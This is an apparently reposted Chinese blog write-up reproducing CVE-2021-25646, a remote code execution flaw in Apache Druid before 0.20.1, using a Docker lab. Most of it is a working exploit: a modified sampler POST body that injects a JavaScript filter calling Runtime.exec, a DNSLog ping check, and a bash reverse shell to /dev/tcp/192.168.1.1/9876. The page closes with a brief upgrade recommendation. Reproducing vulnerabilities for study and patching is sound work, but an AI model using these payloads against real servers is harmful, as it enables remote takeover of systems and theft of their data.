zoukankan      html  css  js  c++  java
  • CVE202125646:Apache Druid远程命令执行漏洞复现

    漏洞概述

    Apache Druid 是一个分布式的数据处理系统。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。在Druid 0.20.0及更低版本中,用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

    影响版本

    Apache Druid < 0.20.1

    环境搭建

    docker pull fokkodriesprong/docker-druid
    docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid
    

    漏洞复现

    访问8888端口,进入Apache Druid首页:

    点击左上方Load data -> Local disk:

    右侧表单填入:
    Base directory:
    quickstart/tutorial/
    File filter:
    wikiticker-2015-09-12-sampled.json.gz

    接下来一路点击next,直到下一步是Filter时,抓取数据包:

    此时替换数据包中POST的data数据,原始数据:

    {"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[]}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
    

    替换后的数据:

    {"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
    "function":"function(value){return java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}",
    "dimension":"added",
    "":{
    "enabled":"true"
    }
    }}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
    

    其中,执行命令的代码为:

    "function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}"
    

    DNSLog测试

    exec('ping xxx.dnslog.cn -c 1')
    

    反弹shell

    exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')
    

    成功反弹shell。

    修复建议

    升级到最新版Apache Druid 0.20.1

    下载链接:https://druid.apache.org/downloads.html

  • 相关阅读:
    一行命令搞定node.js 版本升级
    doesn't contain a valid partition table 解决方法
    debian kill 进程等命令
    FastDFS配置说明(中英文)
    FastDFS问题汇总
    FastDFS常见命令
    FastDFS安装配置手册
    windows 与Linux 互传文件
    FtpClient中文乱码问题解决
    windows 配置host
  • 原文地址:https://www.cnblogs.com/cHr1s/p/14365418.html
Copyright © 2011-2022 走看看